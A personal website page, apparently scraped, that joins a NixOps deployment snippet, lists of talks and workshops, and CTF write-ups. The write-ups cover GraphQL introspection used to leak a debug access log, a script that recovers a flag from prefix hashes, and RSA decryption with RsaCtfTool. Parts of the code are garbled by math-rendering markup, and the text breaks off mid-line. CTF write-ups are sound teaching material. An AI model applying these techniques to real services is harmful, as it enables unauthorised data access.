target> copying path '/nix/store/f0x5d9s31gxzkbsrnhpqvsqrhz6rryc9-system-units' to 'ssh://root@138.201.190.65'...
target> copying path '/nix/store/bmxqa2ppi0d43fvp3drx0hgbcq3j5jv2-etc' to 'ssh://root@138.201.190.65'...
target> copying path '/nix/store/9v8jqh5izq81nb60rzcindc6nr7cqwxx-nixos-system-nixos-20.03.2260.7bb2e7e0f69' to 'ssh://root@138.201.190.65'...
target> closures copied successfully
target> updating GRUB 2 menu...
target> stopping the following units: nscd.service
target> activating the configuration...
target> setting up /etc...
target> reloading user units for root...
target> setting up tmpfiles
target> starting the following units: nscd.service
target> activation finished successfully
target> deployment finished successfully

A few things happen here:

  • A new ssh keypair is created for access to the machine.
  • All needed derivations are build
  • The closures are copied to the target
  • The GRUB menu is updated for displaying the latest generation
  • Services are stopped
  • The config is activated
  • /etc is setup
  • The users units are reloaded
  • tmpfiles are setup
  • The previously stopped services are restarted

An in the end, the nice messages "activation finished successfully" and "deployment finished successfully" indicate that the deployment has worked successfully!

Endword

This should have given you a super basic introduction on how to use an existing NixOS setup in NixOps. The current documentation is far from perfect and doing this isn't really as straitfoward as I though it could be. In the end, it works, but the process of getting it to work included more rabbit-holes that I'd like to admit.

Talks are a way of communicating with a lot of people, but only in one direction. What I'm trying to say with this, is that when a lot of people discuss one topic, it can make sense to just present that topic in a more open way (Im referring to talks here). This means, that the talks I have held in the past have mostly started with me having the same discussion with a lot of people or I've shown a lot of people the same stuff and thought "I should do this for everyone in the room".

Talks held in 2021

Talks held in 2020

Held at chaosdorf, wiki page on 2020-02-28.

A talk giving an introduction to the radare2 project and the concept of r2wars with the intention of holding some kind of workshop after which the people can battle with their bots (didn't work out #thankscorona).

Talks held in 2019

Held at 36c3, on 2019-12-29. (fahrplan, recording)

A talk giving an overview on the common CTF frameworks and how I built the one for the DorfCTF.

Held at chaosdorf, wiki page on 2019-08-16.

A talk giving an introduction to the Paged Out! project (how it works, what can be done to participate, etc.).

Held at chaosdorf, wiki page on 2019-07-26.

An introduction to X multicursors and how a lot of people can control independant mouses on the same computer.

Held at chaosdorf, wiki page on 2019-06-07.

As we played a bit with some self-build honeypots, things escalated a bit and we soon had a fairly big suite of tools and a nice monitoring stack. This gives a presentation of the learnings.

Blogposts with more infos

Held at chaosdorf, wiki page on 2019-04-24.

As the chaosdorf is celebrating it's 18th birthday, we though it would be a nice idea to host some kind of CTF.

Held at chaosdorf, wiki page on 2019-02-08.

This talk was about how to generatate terrain with the blender ANT-landscape addon and due to the Blender 2.8 Beta now feauturing the Eevee render engine, it is possible to view the results of how the shadows and reflections behave in real time.

Talks held in 2018

Held at 35c3 on 2017-10-13 fahrplan slides recording.

This talk was a recap, a reflection of the current situtation and a foresight on how open evenings in hackspaces may be organized, the problems that might occurr and how we manage to host such an event that people like.

Held at chaosdorf, wiki page on 2018-11-16.

We played some CTF and held a presentation on some interesting challenges.

Held at chaosdorf, wiki page on 2018-11-16.

We started the "cargo cult" event, an event dedicated to golang and rust users and gave a recap on what happend with the intention of finding potentially interested people.

Held at chaosdorf, wiki page on 2018-10-12.

A talk giving an overview on how to simulate galaxies, or to be more percise: how to predict the position of a body in a group of other bodies with forces acting between them.

Held at chaosdorf, wiki page on 2018-10-05.

An introduction on how to use boolean modifiers in blender in order to create positives that can be 3d printed in order to create negative silicon forms that can be used for creating chocolate cookies.

Held at chaosdorf, wiki page on 2018-09-14.

An introduction on how to combine the desktop environment Mate with the windowmanager i3wm.

Held at chaosdorf, wiki page on 2018-08-31.

An introduction to the Blender 2.8 Beta, as is a fairly big step in terms of UX design and might make using blender easier for beginners.

Held at chaosdorf, wiki page on 2018-07-20.

A small introduction to insect.sh, a calculator with "full support for physical units".

Held at chaosdorf, wiki page on 2018-07-20.

A small talk introducing people to vim and the vim adventures, a way to learn how to navigate in vim.

Talks held in 2017

Held at chaosdorf, wiki page on 2017-10-13.

This talk gave an overview of my Jugend Forscht Projects:

  • Satellite Collisions was a project in which I built Software to parse TLEs in order to predict possible satellite collisions.
  • Galaxy Visualization was a project in which I visualized galaxies using blender.

Workshops are talks, but longer and interactive allowing the participants to experience a topic on their own, but in a helping environment that makes progressing much easier than in an isolated environment.

The following pages are ment to bundle the workshops I've held.

Workshops held in 2019

Held at the Chaosdorf on 2020-09-28

The Blender 2.8 Workshop was a whole day workshop introducing the participants to the Blender ecosystem. This ment starting at the very basics and providing a wide overview of the whole system, as well as going into detail in topics the participants were interested in. Overall, the gaol was to get the participants into a state in which they are able to progress on their own, having a good foundation to work on.

Held at the Benzenberg Realschule on 2020-07-05

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

Held at the Cecilien Gymnasium on 2020-05-07

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

Held at the Dieter Forte Gesamtschule on 2020-05-14

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

Held at the Lessing Gymnasium on 2020-03-06

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

Held at the Heinrich Heine Universität Düsseldorf on 2020-02-23

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

The table below lists the CTF-Teams I've played in.

teamnamesincelinksinfo
hanemile2017-12CTF Time writeupssingleplayer account
flexerilla2017-12CTF Timefriends
dussec2020-01CTF Timeuniversity people
ALLES!2020-05CTF TimeCSCG finalists
kuchenblechmafia2020-06CTF TimeMentoring CTF team
IceBreakers2020-12CTF Timerc3 CTF team
YournameHere2020-12CTF Timepost-rc3 Attack
and Defense team

CTF writeups are there to share your solution after you've solved a challenge. That is why I'm starting to publish my writeups here.

https://ctftime.org/event/list/?year=2021

https://ctftime.org/event/list/?year=2020

Introduction

This is a writeup for the "Confessions" challenge from the hacklu CTF. I consider this a great challenge, as it uses a technology, namely graphql, that isn't often used in most CTFs and due to me never having used it before required some searching, but not in an exaggerated way.

Getting started

The start of all challenges: getting to know the challenge. In this case, the first thing we see is a pink page:

The functionality this page provides can be described as follows: You enter a title and a message, then recieve a hash. You can post this hash anywhere and then, sometime in the future post a link containing the message.

This concept allows prooving that you've got something afterwards. For example, I used such a concept in the nahamcon-CTF to proove my complete flagleak1. Overall, this allows prooving that some information was accessible at some given time.

1

https://emile.space/writeups/2020/nahamconctf/complete-flag-leak/

Initial sourcecode view

After slightly inspecting the page, the next step would be to look into the page source:

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Confessions 💕</title>
        <link rel="stylesheet" href="confessions.css">
    </head>
    <body>
        <h1>
            <a href="/">Confessions</a>
            💕
        </h1>

        <div id="input">
            <div class="description">
                Ever wanted to prove that you knew some secret without
                revealing it right away?
                <br><br>
                You can confess your deepest secrets here!
                Send the hash to anyone or post it.
                When you want to reveal the secret, just give them the link.
                They can then check that the hash matches the message,
                so they know that you knew that secret message when you
                published the hash!
            </div>

            <input id="title" placeholder="Title">
            <textarea id="message" placeholder="Enter your confession here..."></textarea>
            <button id="publish">Publish</button>

            <h3>Preview:</h3>
        </div>

        <div id="preview" class="confession">
            <h4 class="title">&lt;title&gt;</h4>

            <div class="label">Hash</div>
            <div class="hash">&lt;hash&gt;</div>

            <div class="label">Message</div>
            <div class="message">&lt;message&gt;</div>

            <div class="label">How to verify</div>
            <div class="how-to-verify">&lt;how to verify&gt;</div>
        </div>

        <script src="confessions.js"></script>
    </body>
</html>

The page doesn't consist of much, there's some static html content, some css and some javascript. The static content doesn't do anythig, so lets don't even bother into looking into it. The interesting part is the javascript, in this case, the confessions.js file. Let's go through it block by block:

The part below "talks with the GraphQL endpoint", so it communicates with the GraphQL system in the backend sending a JSON body containing the operation name (hardcoded to null), a query (more regarding that in the next block) and variables to the backend. It then reads the response and returns the response data.

// talk to the GraphQL endpoint
const gql = async (query, variables={}) => {
    let response = await fetch('/graphql', {
        method: 'POST',
        headers: {
            'content-type': 'application/json',
        },
        body: JSON.stringify({
            operationName: null,
            query,
            variables,
        }),
    });
    let json = await response.json();
    if (json.errors && json.errors.length) {
        throw json.errors;
    } else {
        return json.data;
    }
};

This block below defines the queries sent to the backend, these are used in the code above when sent to the baclend. More on them later on.

// some queries/mutations
const getConfession = async hash => gql('query Q(hash: String) { confession(hash: hash) { title, hash } }', { hash }).then(d => d.confession);
const getConfessionWithMessage = async id => gql('mutation Q(id: String) { confessionWithMessage(id: id) { title, hash, message } }', { id }).then(d => d.confessionWithMessage);
const addConfession = async (title, message) => gql('mutation M(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mpunct">,</span></span></span></span>message: String) { addConfession(title: <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span></span></span></span>message) { id } }', { title, message }).then(d => d.addConfession);
const previewHash = async (title, message) => gql('mutation M(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mpunct">,</span></span></span></span>message: String) { addConfession(title: <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span></span></span></span>message) { hash } }', { title, message }).then(d => d.addConfession);

The next block is just a misleading comment, as this is just random foo not relevant in any way.

// the important elements
const title = document.querySelector('#title');
const message = document.querySelector('#message');
const publish = document.querySelector('#publish');
const preview = document.querySelector('#preview');

The block below renders a given confession. Nothing of interest here.

// render a confession
const show = async confession => {
    if (confession) {
        preview.querySelector('.title').textContent = confession.title || '<title>';
        preview.querySelector('.hash').textContent = confession.hash || '<hash>';
        preview.querySelector('.message').textContent = confession.message || '<message>';
        preview.querySelector('.how-to-verify').textContent = `sha256({JSON.stringify(confession.message || '')})`;
    } else {
        preview.innerHTML = '<em>Not found :(</em>';
    }
};

And the next block updates the preview.

// update the confession preview
const update = async () => {
    let { hash } = await previewHash(title.value, message.value);
    let confession = await getConfession(hash);
    await show({
        ...confession,
        message: message.value,
    });
};
title.oninput = update;
message.oninput = update;

This block publishes the confessoin, it adds the confession to the backend and uses the given id to redirect to the url with the appended id that is used.

// publish a confession
publish.onclick = async () => {
    title.disabled = true;
    message.disabled = true;
    publish.disabled = true;

    let { id } = await addConfession(title.value, message.value);
    location.href = `#{id}`;
    location.reload();
};

This block uses the confession id given in the url and displays that confession.

// show a confession when one is given in the location hash
if (location.hash) {
    let id = location.hash.slice(1);
    document.querySelector('#input').remove();
    getConfessionWithMessage(id).then(show).catch(() => document.write('F'));
}

Now after having some basic understanding of what this javascript does, we need a better understanding of how this actually works, as in: what can we do?, what can we break?

Inital usage

Well, we can insert a title and a message. While entering this, we get a live preview of the hash. If we look into the requests sent while typing, we see the following:

...lots and lots of requests to the /graphql endpoint. Thus our next task is born: looking into these requests.

Inspecting the sent requests

The requests sent while entering stuff look like this:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx
User-Agent: alert(1)
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://confessions.flu.xxx/
content-type: application/json
Origin: https://confessions.flu.xxx
Content-Length: 187
Connection: close
Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI
Pragma: no-cache
Cache-Control: no-cache

{
  "operationName": null,
  "query": "query Q(hash: String) { confession(hash: hash) { title, hash } }",
  "variables": {
    "hash": "014c3d0b13f6bc2d05dd32139a2178f17b1fe08ae5755882e9049817377f3c61"
  }
}

The interesting part here is the query, so from here on, I won't insert all headers into all requests.

Playing with graphql

The GraphQL documentation has a great learning section, I used this to learn the basics used further down.

Getting the schema

One of the first things I tried, was getting the schema used. this can be done using graphql introspection:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx

...

Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI

{
  "operationName": null,
  "query": "{__schema {types{name}}}",
  "variables": {
    "hash": "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
  }
}
{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query"
        },
        {
          "name": "Access"
        },

		...

        {
          "name": "Int"
        }
      ]
    }
  }
}

here all the "name" values:

"Query"
"Access"
"String"
"Confession"
"Mutation"
"__Schema"
"__Type"
"__TypeKind"
"Boolean"
"__Field"
"__InputValue"
"__EnumValue"
"__Directive"
"__DirectiveLocation"
"CacheControlScope"
"Upload"
"Int"

Getting the object fields

With the schema information aquired, we can get the fields for the objects:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx

...

Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI

{
  "operationName": null,
  "query": "{__type(name: \"Confession\") {name, fields { name } }}",
  "variables": {
    "hash": "Confession"
  }
}
{
  "data": {
    "__type": {
      "name": "Confession",
      "fields": [
        {
          "name": "id"
        },
        {
          "name": "title"
        },
        {
          "name": "hash"
        },
        {
          "name": "message"
        }
      ]
    }
  }
}

We've already got this information: we can extract if from the queries defined in the javascript, but netherless, It's nice to know that there aren't more fields that we're possibly overlooking.

Getting the types

When listing all types in the schema, we get an interesting result:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx

...

Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI

{
  "operationName": null,
  "query": "{__schema {queryType{fields{name, description}}}}",
  "variables": {
    "hash": "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
  }
}
{
  "data": {
    "__schema": {
      "queryType": {
        "fields": [
          {
            "name": "accessLog",
            "description": "Show the resolver access log. TODO: remove before production release"
          },
          {
            "name": "confession",
            "description": "Get a confession by its hash. Does not contain confidential data."
          }
        ]
      }
    }
  }
}

The "accessLog" contains a description hinting that this should be removed before taking the application into production.

Getting all access logs

As the "accessLog" should not be in production, there seems to be an error that is somehow critical. Thus, getting the accessLog seems like a logical next step. In order to get the accessLog, we first need to get the name of the fields in the accessLog, as we want to fetch all fields.

POST /graphql HTTP/1.1
Host: confessions.flu.xxx

...

Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI
Cache-Control: no-cache

{
  "operationName": null,
  "query": "{__type(name: \"Access\"){name, kind, fields{name, description, type{name, kind, description}}}}",
  "variables": {
    "id": "40dbcdf5-31ec-428a-a42e-ec2f75452efe"
  }
}
{
  "data": {
    "__type": {
      "name": "Access",
      "kind": "OBJECT",
      "fields": [
        {
          "name": "timestamp",
          "description": "",
          "type": {
            "name": "String",
            "kind": "SCALAR",
            "description": "The `String` scalar type represents textual data, represented as UTF-8 character sequences. The String type is most often used by GraphQL to represent free-form human-readable text."
          }
        },
        {
          "name": "name",
          "description": "",
          "type": {
            "name": "String",
            "kind": "SCALAR",
            "description": "The `String` scalar type represents textual data, represented as UTF-8 character sequences. The String type is most often used by GraphQL to represent free-form human-readable text."
          }
        },
        {
          "name": "args",
          "description": "",
          "type": {
            "name": "String",
            "kind": "SCALAR",
            "description": "The `String` scalar type represents textual data, represented as UTF-8 character sequences. The String type is most often used by GraphQL to represent free-form human-readable text."
          }
        }
      ]
    }
  }
}

As you can see, there are three fields: "timestamp", "name" and "args". With this information, we can now fetch the access log:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx
Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI

{
  "operationName": null,
  "query": "{accessLog{timestamp, name, args}}",
  "variables": {
    "id": "40dbcdf5-31ec-428a-a42e-ec2f75452efe"
  }
}
{
  "data": {
    "accessLog": [
      {
        "timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
        "name": "addConfession",
        "args": "{\"title\":\"<redacted>\",\"message\":\"<redacted>\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
        "name": "confession",
        "args": "{\"hash\":\"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
        "name": "addConfession",
        "args": "{\"title\":\"<redacted>\",\"message\":\"<redacted>\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
        "name": "confession",
        "args": "{\"hash\":\"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
        "name": "addConfession",
        "args": "{\"title\":\"<redacted>\",\"message\":\"<redacted>\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
        "name": "confession",
        "args": "{\"hash\":\"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83\"}"
      },

      ...

      {
        "timestamp": "Fri Oct 23 2020 16:09:08 GMT+0000 (Coordinated Universal Time)",
        "name": "accessLog",
        "args": "{}"
      }
    ]
  }
}

Now this is interesting. My first through was to use one of the predefined query strings in order to leak the message, but the provided function taking in a hash doesn't return the message, but just the title of the message, so we need to find another solution...

Extracting the message

On of the first things to do when getting a hash, is to throw it into crackstation and find out if it is crackable, so we extract the hashes from the accessLog response and throw the first few into crackstation. We get this as a result:

As you can see, the first n hashes consist of the first n chars from the flag. Due to crackstations wordlist not knowing the rest of the flag format, it can't show us a result. But we've got the next hashes, so in order to find out what that next char after flag is, we can simply try out all possible combinations (flaga, flagb, ...), hash them and compare the hash with the hash we've got:

import hashlib

hashes = [
"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111",
"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6",
"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83",
"807d0fbcae7c4b20518d4d85664f6820aafdf936104122c5073e7744c46c4b87",
"0577f6995695564dbf3e17ef36bf02ee73ba10ab300caf751315615e0fc6dd37",
"9271dd87ec1a208d1a6b25f8c4e3b21e36c75c02b62fafc48cf1327bac220e48",
"95f5e39cb28767940602ce3241def53c42d399ae1daf086c9b3863d50a640a81",
"62663931ff47a4c77e88916d96cad247f6e2c352a628021a1b60690d88625d75",
"5534607d1f4ee755bc11d75d082147803841bc3959de77d6159fca79a637ac77",
"52a88481cc6123cc10f4abb55a0a77bf96d286f457f6d7c3088aaf286c881b76",
"7ffcb9b3a723070230441d3c7aee14528ca23d46764c78365f5fdf24d0cdef53",
"532e4cecd0320ccb0a634956598c900170bd5c6f1f22941938180fe719b61d37",
"a4b24c8f4f14444005c7023e9d2f75199201910af98aaef621dc01cb6e63f1d1",
"1092c20127f3231234eadf0dd5bee65b5f48ffbdc94e5bf928e3605781a8c0d1",
"1e261929cc13a0e9ecf66d3e6508c14b79c305fa10768b232088e6c2bfb3efa3",
"0bb629dfb5bf8a50ef20cfff123756005b32a6e0db1486bd1a05b4a7ddfd16c7",
"0141c897af69e82bc9fde85a4c99b6e693f6eb390b9abdeda4a34953f82efa4b",
"c20ee107ba4d41370cc354bb4662f3efb6b7c14e7b652394aaa1ad0341e4a1c9",
"d6b977c1deb6179c7b9ac11fb2ce231b100cf1891a1102d02d8f7fbea057b8a0",
"fb7dc9b1be6477cea0e23fdc157ff6b67ce075b70453e55bb22a6542255093f1",
"70b652dad63cabed8241c43ba5879cc6d509076f778610098a20154eb8ac1b89",
"26f4fc4aba06942e5e9c5935d78da3512907fe666e1f1f186cf79ac14b82fcad",
"c31c26dbbcf2e7c21223c9f80822c6b8f413e43a2e95797e8b58763605aaca0d",
"eb992e46fb842592270cd9d932ba6350841966480c6de55985725bbf714a861d",
"c21af990b2bd859d99cfd24330c859a4c1ae2f13b0722962ae320a460c5e0468",
"ebf2b799b6bf20653927092dae99a6b0fc0094abc706ca1dce66c5d154b4542d",
"07a272d52750c9ab31588402d5fb8954e3e5174fcab9291e835859a5f8f34cf9",
"5a047cba5d6e0cf62d2618149290180e1476106d71bd9fdb7b1f0c41437c2ff5"
]

flag = ""

for hash in hashes:

	# build all hashes for most of the ascii range
	for i in range(32, 126):

		# define the hash
		m = hashlib.sha256()
		m.update(str(flag + str(chr(i))).encode("utf-8"))

		# if the hash of the guessed char equals the given hash, add the
		# char to the flag
		if m.hexdigest() == hash.strip("\n"):
			print(chr(i), end="")
			flag += chr(i)
			break
flag{but_pls_d0nt_t3ll_any1}

And finally, we get the flag!

https://ctftime.org/event/1089

Given information

They've gotten into your mind, but haven't managed to dive that deep yet. Root them out before it becomes an issue.

 cat ciphertext-bb416c708f242b0c70d6f2c07d646d9f.txt
Modulus: 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227
One factor of N:  9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919
Public key: 65537
Ciphertext: 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483

First steps

The challenge is distributed as a file containing some information that may be used to decipher the given ciphertext

One Shot Solve

As this is an introductory challenge, we can solve it in a fairly strait-foward way, in this case using the RsaCtfTool:

 ./RsaCtfTool.py -n 102346477809188164149666237875831487276093753138581452189150581288274762371458335130208782251999067431416740623801548745068435494069196452555130488551392351521104832433338347876647247145940791496418976816678614449219476252610877509106424219285651012126290668046420434492850711642394317803367090778362049205437 --uncipher 4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821 -e 3

...

Results for /tmp/tmpxi7twzzn:

Unciphered data :
HEX : 0x666c61677b77335f6e6565645f376f5f67305f6433657033727d
INT (big endian) : 164587995846552213349276905669580061809447554828318448024777341
INT (little endian) : 201584106411901694616549114265403818352500570162482437244939366
STR : b'flag{w3_need_7o_g0_d3ep3r}'

...

As you can see, the ciphertext could be unciphered pretty much the same way as in the Dream Stealing challenge.

Flag

flag{w3_need_7o_g0_d3ep3r}

Given information

I've managed to steal some secrets from their subconscious, can you figure out anything from this?

 cat ciphertext-bb416c708f242b0c70d6f2c07d646d9f.txt
Modulus: 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227
One factor of N:  9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919
Public key: 65537
Ciphertext: 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483

First steps

The challenge is distributed as a file containing some information that may be used to decipher the given ciphertext

One Shot Solve

As this is an introductory challenge, we can solve it in a fairly strait-foward way, in this case using the RsaCtfTool:

 ./RsaCtfTool.py --uncipher 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483 -n 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227  -e 65537

...

Results for /tmp/tmpmzicubp8:

Unciphered data :
HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000666c61677b346363653535316e675f7468335f73756263306e7363313075737d
INT (big endian) : 46327402297734345668136112664627609061622411859278517910287191659094499226493
INT (little endian) : 88094692916878681304973182720116630253196809880747117727243445068216160576549534155204082127455583851325088293675818840615944988343500653963470791672736997048571573187499305694261505835551458431407622925193944974882354435642913133800467654576903355697779623929836208161165319691883185229669675931529587458048
STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00flag{4cce551ng_th3_subc0nsc10us}'

As you can see, the ciphertext could be unciphered using the given factor of n, the modulus and the public "key".

Flag

flag{4cce551ng_th3_subc0nsc10us}

Given information

It's time to enter the Grid. Figure out a way to pop an alert() to get your flag.

http://chal.ctf.b01lers.com:3006

Solution

The solution to the challenge wasn't to pop an alert() after all...

The page doesn't allow pressing [CTRL]+[U], but using curl, we can access the html source code:

<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">c</span><span class="mord mathnormal">u</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">h</span><span class="mord mathnormal">t</span><span class="mord mathnormal">t</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord">/</span><span class="mord mathnormal">c</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord">.</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span 